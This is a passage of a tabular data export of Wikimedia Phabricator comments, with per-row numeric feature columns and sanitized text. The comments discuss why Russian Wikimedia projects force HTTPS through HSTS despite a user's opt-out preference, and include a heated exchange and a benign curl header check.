hack with a server-side redirect and HSTS as a secure and consistent default configuration for all Russian language projects.

I'm curious what your concerns are about HTTPS and whether they can be addressed? Why do you want to opt-out?"
423488,Russian projects force HTTPS regardless of preferences,Why?,,,1425940958,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,Why?
423168,Russian projects force HTTPS regardless of preferences,@KPu3uC_B_Poccuu: You cannot use Russian Wikimedia projects without HTTPS at this time; the cookie will not have any effect. Resolving as invalid unless you can reproduce the issue in other projects.,,,1425916251,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,3.0,0.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,11.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.555555555555555,0.8611111111111112,SCREEN_NAME: You cannot use Russian Wikimedia projects without HTTPS at this time; the cookie will not have any effect. Resolving as invalid unless you can reproduce the issue in other projects.
423117,Russian projects force HTTPS regardless of preferences,"You can edit the title with ""Edit Task"".

If you can also reproduce it on e.g. http://en.wikipedia.org then there is something we don't know yet.",,,1425912478,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,16.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,3.0,3.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,13.0,10.0,10.0,0.0,6.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2903225806451615,0.9032258064516129,"You can edit the title with ""Edit Task"".

If you can also reproduce it on e.g. URL then there is something we don't know yet."
423085,Russian projects force HTTPS regardless of preferences,"Even better title would be ""Occasionally, projects enforce HTTPS regardless of user settings"". It occurs from time to time on all projects I participate in, just that Russian Wiktionary was the one I had trouble when reporting this.",,,1425905626,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,5.0,18.0,5.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,14.0,7.0,0.0,5.0,0.0,7.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,4.431818181818182,0.8636363636363636,"Even better title would be ""Occasionally, projects enforce HTTPS regardless of user settings"". It occurs from time to time on all projects I participate in, just that Russian Wiktionary was the one I had trouble when reporting this."
422955,Russian projects force HTTPS regardless of preferences,"Okay, tell me, do you still consider this is not a bug and why the title is still misleading. And, for the record, I honestly don't know what to expect from this ticket anymore. Maybe it will get fixed. Most likely, as it stands, nothing will be done. But there are also chances that HTTP will be blocked completely on some grounds I have no clue of, and I 'd rather not.",,,1425868613,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,1.0,0.0,1.0,2.0,4.0,2.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,1.0,5.0,0.0,15.0,8.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,4.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,4.0,6.0,11.0,2.0,5.0,8.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,8.0,8.0,1.0,0.0,0.0,0.0,8.0,0.0,2.0,1.0,1.0,0.0,0.0,1.0,0.0,3.5294117647058822,0.7294117647058823,"Okay, tell me, do you still consider this is not a bug and why the title is still misleading. And, for the record, I honestly don't know what to expect from this ticket anymore. Maybe it will get fixed. Most likely, as it stands, nothing will be done. But there are also chances that HTTP will be blocked completely on some grounds I have no clue of, and I 'd rather not."
422916,Russian projects force HTTPS regardless of preferences,"There is no need to blame yourself or others. The ""root of the misunderstanding"" is simply a partial communication (I think WMF has plans to fix that later).

I'm not aware of the existence of the ""official Wikimedia policy regarding HTTPS"" which you mentioned, but I've [[https://meta.wikimedia.org/w/index.php?title=HTTPS&action=historysubmit&diff=11498780&oldid=10978960|updated the informative page]] that Meta-Wiki has on the topic.",,,1425841492,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,4.0,1.0,4.0,11.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,1.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,15.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,11.0,5.0,0.0,5.0,0.0,7.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,3.0,3.7066666666666666,0.7466666666666667,"There is no need to blame yourself or others. The ""root of the misunderstanding"" is simply a partial communication (I think WMF has plans to fix that later).

I'm not aware of the existence of the ""official Wikimedia policy regarding HTTPS"" which you mentioned, but I've [[URL the informative page]] that Meta-Wiki has on the topic."
422877,Russian projects force HTTPS regardless of preferences,"Okay, I'll calm myself down. Still, I believe the root of the misunderstandings is not in me being unclear, but reading my comments only partially.",,,1425828235,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,16.0,3.0,13.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,13.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,16.0,10.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.967741935483871,0.8387096774193549,"Okay, I'll calm myself down. Still, I believe the root of the misunderstandings is not in me being unclear, but reading my comments only partially."
422851,Russian projects force HTTPS regardless of preferences,"@KPu3uC_B_Poccuu: Apart from all previous unfortunate misunderstandings in this ticket, please see https://www.mediawiki.org/wiki/Phabricator/Etiquette : there is no need to get personal here or assume roles of people. Instead, there is a software behavior that's not what you expected and clarifying and getting exact steps to reproduce took a while. Thanks for your understanding.",,,1425823431,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,2.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,7.0,10.0,0.0,3.0,0.0,2.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,3.0,8.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,4.6,0.85,"SCREEN_NAME: Apart from all previous unfortunate misunderstandings in this ticket, please see URL : there is no need to get personal here or assume roles of people. Instead, there is a software behavior that's not what you expected and clarifying and getting exact steps to reproduce took a while. Thanks for your understanding."
422842,Russian projects force HTTPS regardless of preferences,"This makes no sense. I have never met such incompetent developer. I filed a bug about HTTPS occasionally being forced even if you opted out. You reproduced the bug on your end somehow but instead of fixing it you declared it intentional even if it's against the official Wikimedia policy regarding HTTPS and the fact that you can still access the wikis via HTTP when the bug doesn't occur, as a developer I assume you must know the policy well. You now remind me of Valve fixing a bug in their game by officially calling it intentional after 2 years of silence on that matter.",,,1425821214,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.5,1.0,3.0,0.0,0.0,0.0,1.0,2.5,1.0,0.0,0.0,0.0,3.0,0.0,8.5,11.5,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,1.5,4.0,2.5,2.5,0.5,4.5,0.0,0.0,0.5,0.0,0.5,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,11.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,1.5,0.0,0.0,0.0,7.0,0.5,7.0,3.0,1.0,8.5,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,10.5,11.5,4.0,0.0,0.0,0.0,10.5,0.0,1.0,2.5,1.0,3.0,0.0,0.0,0.0,4.1743421052631575,0.8231516290726817,"This makes no sense. I have never met such incompetent developer. I filed a bug about HTTPS occasionally being forced even if you opted out. You reproduced the bug on your end somehow but instead of fixing it you declared it intentional even if it's against the official Wikimedia policy regarding HTTPS and the fact that you can still access the wikis via HTTP when the bug doesn't occur, as a developer I assume you must know the policy well. You now remind me of Valve fixing a bug in their game by officially calling it intentional after 2 years of silence on that matter."
422800,Russian projects force HTTPS regardless of preferences,">>! In T91352#1098719, @KPu3uC_B_Poccuu wrote:
> I don't know what business you have to do working on Wikimedia projects

I have a [[https://meta.wikimedia.org/wiki/User:Nemo_bis|user page]] where you can find out.

> //you can freely opt out of forced HTTPS as a registered user on Russian Wikimedia projects//.

What makes you think so? All evidence points to the contrary (I just tried again). You *were* able to opt out, but this stopped being true some days ago.",,,1425808644,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,3.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,7.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,3.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,14.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,7.0,0.0,2.0,0.0,0.0,8.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,3.0,3.1016949152542375,0.7796610169491526,"QUOTE
QUOTE

I have a [[URL page]] where you can find out.

QUOTE

What makes you think so? All evidence points to the contrary (I just tried again). You *were* able to opt out, but this stopped being true some days ago."
422775,Russian projects force HTTPS regardless of preferences,"No, it doesn't, because you are just wrong. I don't know what business you have to do working on Wikimedia projects, but it seems you know too little and have poor reading comprehension. Because you ignored **half** of my statements and thus missed the fact //you can freely opt out of forced HTTPS as a registered user on Russian Wikimedia projects//.

What grounds do you have to state otherwise? The old **beta** program? Are you kidding me?",,,1425780468,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,2.0,4.0,1.0,2.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,7.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,2.0,2.0,1.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,1.0,3.0,2.0,10.0,2.0,3.0,4.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,11.0,10.0,4.0,3.0,0.0,0.0,11.0,0.0,2.0,1.0,1.0,2.0,0.0,0.0,0.0,3.84375,0.6979166666666666,"No, it doesn't, because you are just wrong. I don't know what business you have to do working on Wikimedia projects, but it seems you know too little and have poor reading comprehension. Because you ignored **half** of my statements and thus missed the fact //you can freely opt out of forced HTTPS as a registered user on Russian Wikimedia projects//.

What grounds do you have to state otherwise? The old **beta** program? Are you kidding me?"
422774,Russian projects force HTTPS regardless of preferences,"No, it doesn't, because you are just wrong. I don't know what business you have to do working on Wikimedia projects, but it seems you know too little and have poor reading comprehension. Because you ignored **half** of my statements and thus missed the fact //you can freely opt out of forced HTTPS as a registered user on Russian Wikimedia projects//.",,,1425780257,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,3.0,4.0,1.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,12.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,3.0,3.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,10.0,3.0,4.0,3.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,11.0,12.0,6.0,0.0,0.0,0.0,11.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,4.055555555555555,0.75,"No, it doesn't, because you are just wrong. I don't know what business you have to do working on Wikimedia projects, but it seems you know too little and have poor reading comprehension. Because you ignored **half** of my statements and thus missed the fact //you can freely opt out of forced HTTPS as a registered user on Russian Wikimedia projects//."
422691,Russian projects force HTTPS regardless of preferences,">>! In T91352#1095598, @KPu3uC_B_Poccuu wrote:
> What the hell is going on really? 

Does https://ru.wikipedia.org/wiki/HSTS clarify? See yourself:
```
$ curl -Is https://ru.wikipedia.org | grep Strict-Transport-Security
Strict-Transport-Security: max-age=15768000
```
T91044#1074315 explains with more detail.",,,1425748427,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,4.0,12.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,3.625,0.75,"QUOTE
QUOTE

Does URL clarify? See yourself:
``CODE``
T91044#1074315 explains with more detail."
422647,Russian projects force HTTPS regardless of preferences,"Now the same thing is going on on Russain Wikipedia, except this time I have no cookies to delete.",,,1425738541,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,19.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,19.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.8095238095238093,0.9523809523809523,"Now the same thing is going on on Russain Wikipedia, except this time I have no cookies to delete."
422168,Russian projects force HTTPS regardless of preferences,"What the hell is going on really? What does it mean ""it has no effect""??? You can opt out of secure connection in Russian wikiprojects as a registered user. That's what my current preference across all Wikimedia projects is.",,,1425654688,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,10.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,12.0,2.0,8.0,4.0,0.0,8.0,0.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,3.875,0.8333333333333334,"What the hell is going on really? What does it mean ""it has no effect""??? You can opt out of secure connection in Russian wikiprojects as a registered user. That's what my current preference across all Wikimedia projects is."
422145,Russian projects force HTTPS regardless of preferences,"Change 194856 had a related patch set uploaded (by Nemo bis):
Hide ""prefershttps"" preference on HSTS domains (ru): it has no effect

[[https://gerrit.wikimedia.org/r/194856]]
",,,1425649220,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,6.0,8.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,3.5555555555555554,0.8333333333333334,"Change 194856 had a related patch set uploaded (by Nemo bis):
Hide ""prefershttps"" preference on HSTS domains (ru): it has no effect

[[GERRIT_URL]]
"
422031,Russian projects force HTTPS regardless of preferences,">>! In T91352#1094773, @KPu3uC_B_Poccuu wrote:
> OMG. I've said multiple times: I WAS DAMN LOGGED IN.

Oh, sorry then.",,,1425628239,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.888888888888889,0.8888888888888888,"QUOTE
QUOTE

Oh, sorry then."
422030,Russian projects force HTTPS regardless of preferences,">>! In T91352#1094773, @KPu3uC_B_Poccuu wrote:
> OMG. I've said multiple times: I WAS DAMN LOGGED IN.

Oh, sorry then.",,,1425628238,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.888888888888889,0.8888888888888888,"QUOTE
QUOTE

Oh, sorry then."
421969,Russian projects force HTTPS regardless of preferences,OMG. I've said multiple times: I WAS DAMN LOGGED IN.,,,1425614650,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0714285714285716,0.8571428571428571,OMG. I've said multiple times: I WAS DAMN LOGGED IN.
421673,Russian projects force HTTPS regardless of preferences,"Hi, @KPu3uC_B_Poccuu, redirecting insecure HTTP to HTTPS for anonymous users is expected. Using HTTPS by default for anonymous users was the consensus of the Russian Wikipedia community.[1] The reason that you cannot use insecure HTTP is that we have enabled HTTP Strict Transport Security (HSTS) on Russian Wikimedia projects. I repeated your steps on IE 11, which does not support HSTS, and I could use insecure connection when logged in. There should be no way to use HTTP on all other browsers.

So in order to avoid the confusion, the solution here should be to remove the ""Always keep on secure connection"" option from Russian Wikimedia projects, as @Nemo_bis suggested.

[1] https://meta.wikimedia.org/wiki/HTTPS/Beta_program",,,1425585067,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,1.0,0.0,0.0,0.5,1.5,4.0,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,2.0,0.5,4.5,10.0,0.0,2.5,1.5,0.0,0.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,2.5,1.0,0.0,1.5,1.0,0.0,0.5,1.0,1.5,1.0,0.0,0.0,4.0,0.0,0.0,0.5,0.0,0.5,11.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,1.5,0.0,0.0,0.5,1.0,0.5,4.0,3.0,16.5,1.5,1.0,6.0,0.0,0.0,0.0,0.0,6.5,0.5,2.0,0.0,3.0,10.0,8.5,0.0,1.5,0.0,3.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,4.340909090909092,0.7651515151515151,"Hi,SCREEN_NAME, redirecting insecure HTTP to HTTPS for anonymous users is expected. Using HTTPS by default for anonymous users was the consensus of the Russian Wikipedia community.[1] The reason that you cannot use insecure HTTP is that we have enabled HTTP Strict Transport Security (HSTS) on Russian Wikimedia projects. I repeated your steps on IE 11, which does not support HSTS, and I could use insecure connection when logged in. There should be no way to use HTTP on all other browsers.

So in order to avoid the confusion, the solution here should be to remove the ""Always keep on secure connection"" option from Russian Wikimedia projects, asSCREEN_NAME suggested.

[1] URL"
421669,Russian projects force HTTPS regardless of preferences,"Hi, @KPu3uC_B_Poccuu, redirecting insecure HTTP to HTTPS for anonymous users is expected. Using HTTPS by default for anonymous users was the consensus of the Russian Wikipedia community.[1] I repeated your steps. The reason that you cannot use insecure HTTP is that we have enabled HTTP Strict Transport Security (HSTS) on Russian Wikimedia projects. I repeated your steps on IE 11, which does not support HSTS, and I could use insecure connection when logged in. There should be no way to use HTTP on all other browsers.

So in order to avoid the confusion, the solution here should be to remove the ""Always keep on secure connection"" option from Russian Wikimedia projects, as @Nemo_bis suggested.

[1] https://meta.wikimedia.org/wiki/HTTPS/Beta_program",,,1425584939,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,0.5,0.0,0.0,0.5,1.0,3.5,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,2.0,0.5,4.0,10.0,0.0,2.0,1.5,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,1.0,0.0,1.5,1.5,0.0,0.5,0.5,1.5,0.5,0.0,0.0,3.5,0.0,0.0,0.5,0.0,0.5,11.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.5,3.5,3.0,16.5,1.0,0.5,6.0,0.0,0.0,0.0,0.0,6.5,0.5,1.5,0.0,3.5,10.0,8.0,0.0,1.5,0.0,3.5,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.5,4.319160272804774,0.7373188405797102,"Hi,SCREEN_NAME, redirecting insecure HTTP to HTTPS for anonymous users is expected. Using HTTPS by default for anonymous users was the consensus of the Russian Wikipedia community.[1] I repeated your steps. The reason that you cannot use insecure 